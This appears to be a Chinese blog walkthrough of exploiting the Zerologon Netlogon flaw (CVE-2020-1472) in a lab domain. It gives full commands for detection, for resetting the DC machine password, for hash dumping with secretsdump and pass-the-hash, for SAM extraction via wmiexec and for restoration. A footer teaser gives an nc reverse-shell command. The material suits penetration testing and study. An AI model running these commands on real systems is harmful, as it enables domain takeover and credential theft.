Netlogon域控提权(CVE-2020-1472)

简介: Netlogon域控提权(CVE-2020-1472)

原理及利用步骤


https://www.preempt.com/blog/security-advisory-zerologon-cve-2020-1472-an-unauthenticated-privilege-escalation-to-full-domain-privileges/ 


https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hijacking-a-domain-controller-with-netlogon-rpc-aka-zerologon-cve-2020-1472/ 


影响版本:


Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)


环境描述:

域控: Windows Server 2008 R2 Standard

攻击机:kali-linux-2020.1  (不在域内,能连通域控


漏洞检测:

POC地址:


https://github.com/SecuraBV/CVE-2020-1472

查询netbios名称:

linux:


nbtscan -v -h 192.168.1.56

Workstation Service选项的值

windows:


nbtstat -A  192.168.1.56

检测:


python3 zerologon_tester.py  dc-netbios-name  dc-ip

94796fe44d8fdce1797e2a637c9c0719_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


漏洞利用:

exp地址:


https://github.com/dirkjanm/CVE-2020-1472

python3 cve-2020-1472-exploit.py

坑点报错:

Unexpected  error:module 
'impacket.dcerpc.v5.nrpc' 
has no attribute 
'NetrServerPasswordSet2'.

解决:需要卸载现有impacket套件,安装最新的impacket

卸载:

sudo apt remove --purge impacket-scripts python3-impacket
sudo apt autoremove

安装:

git clone https://github.com/SecureAuthCorp/impacket
cd  impacket
sudo pip isntall .
sudo python3 setup.py install

8209e70bb6c8c3b4d3635be31c14439b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


密码置空,使用secretdump获取域控上的hash(这里置空的是域控所在机器的机器管理员密码,而非域控密码--->域控所在机器密码跟更改可能会影响与其他域的通信或者域控上的dns等功能)

./secretsdump.py  域名称/域控机器名称\$@域控IP  -just-dc  -no-pass


环境恢复:

[方法1]

如上图,已获取域控Administrator的hash,使用该hash尝试获取机器hash即MACHINE.ACC中的

hash,plain_password_hex选项的值

./secretsdump.py  pentest/administrator@192.168.1.56   
-hashes  aad3b435b51404eeaad3b435b51404ee:4cb55ea6471d29ccbb2ce4cf00271fe3     -use-vss

55e43e127c00543ac5ca7748f5b44bb6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


恢复hashes


python3 restorepassword.py /@ 
-target-ip-hexpass

34247c7bbbbbe58a810ee0bc018b6573_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


secretdump验证:

65a782be4f0cd602f8b9883d3eafcdfb_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


[方法2]

有些情况不能获取到plain_password_hex,通过已获取的域控hash登录机器并dump sam文件到本地

./wmiexec.py pentest/administrator@192.168.1.56 
-hashes aad3b435b51404eeaad3b435b51404ee:4cb55ea6471d29ccbb2ce4cf00271fe3

导出并下载sam :

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save


解析sam提取机器密码hex

./secretsdump.py -sam sam.save -system system.save 
-security security.save LOCAL

 

7d3be53d77b21961ef3c2c506cda6165_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


删除机器上的sam:

del /f system.save
del /f sam.save
del /f security.save


[方法3]

通过域管hash登录,执行下面命令重置机器密码

powershell Reset-
ComputerMachinePassword

94fc753d32306e8780021bd96c9f5cd8_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


链接:

https://meterpreter.org/cve-2020-1472-netlogon-privilege-escalation-vulnerability-alert/ 


https://my.oschina.net/u/4587690/blog/4662834 


https://github.com/dirkjanm/CVE-2020-1472 


https://github.com/mstxq17/cve-2020-1472 


相关文章
|
Shell Linux Windows
nc简单反弹shell
该内容描述了在Windows和Linux环境中使用`nc`(Netcat)工具建立反弹shell的过程。在Windows上,反弹端通过命令`nc -e cmd IP 端口`将控制权反弹到指定IP;控制端则运行`nc -lvvp 端口`等待连接。在Linux环境下,类似地,使用`nc -l -v -p 端口`作为控制端,而被控端用`nc 目标IP 端口`进行连接。文中还包含相关截图以辅助说明。
1065 0
|
安全 Linux Shell
【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
3902 0
【内网安全-CS】Cobalt Strike启动运行&上线方法&插件
|
Web App开发 搜索推荐 Linux
xwiki使用指南
xwiki使用指南
2045 0
|
Unix Linux Shell
指定端口-SSH连接的目标(告别 22 端口暴力破解)
本文介绍了 SSH 命令 `ssh -p 44907 root@IP` 的含义与使用方法,包括命令结构拆解、完整示例及执行过程详解,帮助用户安全地远程登录服务器。
1696 0
|
Linux Go iOS开发
IDA 9.2 发布:Golang 改进、新 UI 组件、类型解析等
IDA Pro 9.2 (macOS, Linux, Windows) - 强大的反汇编程序、反编译器和多功能调试器
1721 0
|
安全 应用服务中间件 Apache
Apache-Tomcat-Ajp文件读取漏洞(CVE-2020-1938、CNVD-2020-10487)
Apache-Tomcat-Ajp文件读取漏洞产生原因是由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件
2083 1
|
XML 安全 网络安全
XXE漏洞详解(三)——XXE漏洞实际运用
XXE漏洞详解(三)——XXE漏洞实际运用
958 4
|
JSON JavaScript 前端开发
Ctfshow web入门 nodejs篇 web334-web344
Ctfshow web入门 nodejs篇 web334-web344
690 0
|
关系型数据库 MySQL 数据安全/隐私保护
关于MySQL安装时一直卡在starting sever......手把手教你搞定
关于MySQL安装时一直卡在starting sever......手把手教你搞定
8068 1
|
SQL 监控 安全
Linux&Windows 日志分析 陇剑杯 CTF
Linux&Windows 日志分析 陇剑杯 CTF

热门文章

最新文章